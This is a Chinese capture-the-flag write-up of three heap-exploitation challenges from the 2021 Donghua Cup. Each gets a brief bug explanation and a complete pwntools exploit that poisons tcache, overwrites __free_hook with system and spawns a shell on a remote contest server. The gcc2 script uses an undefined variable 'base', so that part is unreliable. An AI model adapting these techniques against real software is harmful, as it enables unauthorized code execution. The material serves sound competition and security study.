2021东华杯pwn部分wp

前言:

除了boom都蛮简单的, 第四个pwn因为boom做的有点久就没来得及, 看了眼感觉不难也就不想花时间再做了

cpp1:

由于change时std::cin的大小没有控制好, 所以cin可以输入很多字符, 导致了堆溢出, 且申请回来的时候没有手动清空fd位, 泄露了heap偏移, 得到了tcache结构体的地址, 利用堆溢出控制free块的fd就可以控制整个tcache结构体, 从而使得unsorted bin产生. 同上, 泄露libc偏移, 再利用fd写__free_hook与system, 再释放一下写入/bin/sh的堆块即可

#!/usr/bin/env python
# coding=utf-8
from pwn import *
#sh=process('./cp')
sh=remote('47.104.143.202',43359)
elf=context.binary=ELF('./cp')
#context.log_level='debug'
libc=elf.libc

def debug(addr):
    gdb.attach(sh, 'b *$rebase('+hex(addr)+')')

def add(idx, size):
    sh.sendlineafter(">>\n", '1')
    sh.sendlineafter("I:>>\n", str(idx))
    sh.sendlineafter("S:>>\n", str(size))

def change(idx, content):
    sh.sendlineafter(">>\n", '2')
    sh.sendlineafter("I:>>\n", str(idx))
    sh.sendlineafter("V:>>\n", str(content))

def get(idx):
    sh.sendlineafter(">>\n", '3')
    sh.sendlineafter("I:>>\n", str(idx))

def dele(idx):
    sh.sendlineafter(">>\n", '4')
    sh.sendlineafter("I:>>\n", str(idx))

def exp():
    [add(i, 0x60) for i in range(3)]
    [dele(2-i) for i in range(3)]
    [add(i, 0x60) for i in range(1)]
    get(0)
    pie_leak=u64(sh.recv(6).ljust(8, '\x00'))
    log.success('pie leak: '+hex(pie_leak))
    tc_addr=pie_leak-0x12f30
    log.success('tc addr: '+hex(tc_addr))
    payload1='a'*0x68+p64(0x71)+p64(tc_addr+0x10)
    change(0, payload1)
    add(1, 0x60)
    add(2, 0x60) #tc
    payload2=p64(0)+p16(0x7)*4
    add(3, 0x80)
    add(4, 0x70)
    change(2, payload2)
    dele(3)
    add(3, 0x30)
    get(3)
    libc_leak=u64(sh.recv(6).ljust(8, '\x00'))
    libc_base=libc_leak-0x1ebc60
    log.success('libc leak: '+hex(libc_leak))
    add(5, 0x40)
    dele(5)
    payload3='b'*0x30+p64(0)+p64(0x51)+p64(libc_base+libc.sym['__free_hook'])
    change(3, payload3)
    payload4=p32(0)+p16(0)+p16(0x2)
    change(2, payload4)
    add(6, 0x40)
    add(7, 0x40)
    change(6, '/bin/sh\x00')
    change(7, p64(libc_base+libc.sym['system']))
    #print str(proc.pidof(sh))
    sh.interactive()

exp()

gcc2:

本题控制了std::cin的大小, 但是释放之后全局变量上的指针和大小未置零, 所以存在了uaf的漏洞, 通过uaf我们可以改写tc的链表, 使得其指向chunk的chunk结构头修改size为unsorted bin大小然后获取libc偏移, 其它步骤与cpp1几乎一模一样

#!/usr/bin/env python
# coding=utf-8
from pwn import *
#sh=process('./gc')
sh=remote('47.104.143.202',15348)
elf=context.binary=ELF('./gc')
#context.log_level='debug'
libc=elf.libc

def debug(addr):
    gdb.attach(sh, 'b *$rebase('+hex(addr)+')')

def add(idx, size):
    sh.sendlineafter(">>\n", '1')
    sh.sendlineafter("I:>>\n", str(idx))
    sh.sendlineafter("S:>>\n", str(size))

def change(idx, content):
    sh.sendlineafter(">>\n", '2')
    sh.sendlineafter("I:>>\n", str(idx))
    sh.sendlineafter("V:>>\n", str(content))

def get(idx):
    sh.sendlineafter(">>\n", '3')
    sh.sendlineafter("I:>>\n", str(idx))

def dele(idx):
    sh.sendlineafter(">>\n", '4')
    sh.sendlineafter("I:>>\n", str(idx))

def exp():
    [add(i,0x67) for i in range(2)]
    add(4,0x67)
    dele(1)
    dele(0)
    get(0)
    sh.recvuntil('\n')
    pie_leak=u64(sh.recv(6).ljust(8, '\x00'))
    log.success('pie leak: '+hex(pie_leak))
    tc_addr=pie_leak-0x12f30
    log.success('tc addr: '+hex(tc_addr))
    change(0,p64(tc_addr))
    add(2,0x67)
    add(3,0x67)
    change(3,'\x00'*0x48+'\x00'*6+'\x07')
    dele(4)
    dele(3)
    get(3)
    libc_base = u64(sh.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-96-0x10-libc.sym['__malloc_hook']
    free_hook_addr = libc.sym['__free_hook']+libc_base
    system_addr = base+libc.sym['system']

    change(4,p64(free_hook_addr))
    add(5,0x67)
    add(6,0x67)
    change(6,p64(system_addr))
    change(5,'/bin/sh\x00')
    dele(5)
    #debug()
    sh.interactive()

exp()

boom_script:

本题类似vmpwn, 定义了三种数据结构.

字符串: 以节点维护, 内容和节点都在堆上, 赋值操作为修改节点指针, 重定义为free之前内容再malloc一块内容写入

数组: 先在堆上申请0x20大小的结构, 再以每个元素0x30大小递增申请(存在数组越界写, 且它的位置是0x28这样偏移着写的)

数字: 存储在全局变量数组, 且数字可以直接赋值给数组中元素

所以大思路是先申请俩字符串节点指向同一块内容, 重定义一个节点后内容被释放, prints另一个节点就可以泄露libc偏移, 之后申请一个数组, 利用其元素的特性可以修改已经被释放的内容的fd, 做到修改链表指向__free_hook, 同时利用负索引, 修改tcache结构中记录的数量, 使得可以申请到__free_hook的地方, 最后注意是让数组结构被申请到__free_hook附近, 利用元素偏移写入system的地址, 最后释放带有/bin/sh的字符串节点内容即可

#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.binary=elf=ELF('./boom_script')
#sh=process('./boom_script')
sh=remote('47.104.143.202',41299)
context.log_level='debug'
libc=elf.libc

payload='zzzz="{1}";ddwddw = "{0}";\
        ssdssd = "sbsbsbsbsbsbsbsbsbsbsbsbsbsbsbsbsbsbsbsbsbsbsbsbsbsbsbsbsbsbsbsbsbsb";\
        ddwddw = "sbsbsbsbsbsb";\
        array arr[20];a = 0;prints("input a:");aa="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";\
	bb="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";cc="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";\
	dd="/bin/sh";bb="/bin/sh";inputn(a);arr[21]=a;ee="{2}";\
	arr[-13]=1970354902204423;array fini[1];inputn(a);fini[0]=a;bb="{3}";'.format('1'*0x700, '2'*0x10, 'A'*0x40, 'D'*0x60)
sh.recvuntil("$")
sh.sendline('1')
sh.recvuntil(":\n")
sh.sendline(str(len(payload)+1))
#gdb.attach(sh, 'b *$rebase(0x24ab)\n b *$rebase(0x2ef7)')
sh.recvuntil(":\n")
sh.sendline(payload)
#gdb.attach(sh)
sh.recvuntil("input a:")
leak_libc=u64(sh.recv(6).ljust(8, '\x00'))
log.success("leak libc:"+hex(leak_libc))
libc_base=leak_libc-0x1ebe70
log.success("libc base:"+hex(libc_base))
sh.sendline(str(libc_base+libc.sym['__free_hook']-0x28))
sh.sendline(str(libc_base+libc.sym['system']))
sh.interactive()

#arr[-13]=30065229831;

猜你喜欢

转载自blog.csdn.net/eeeeeight/article/details/121084820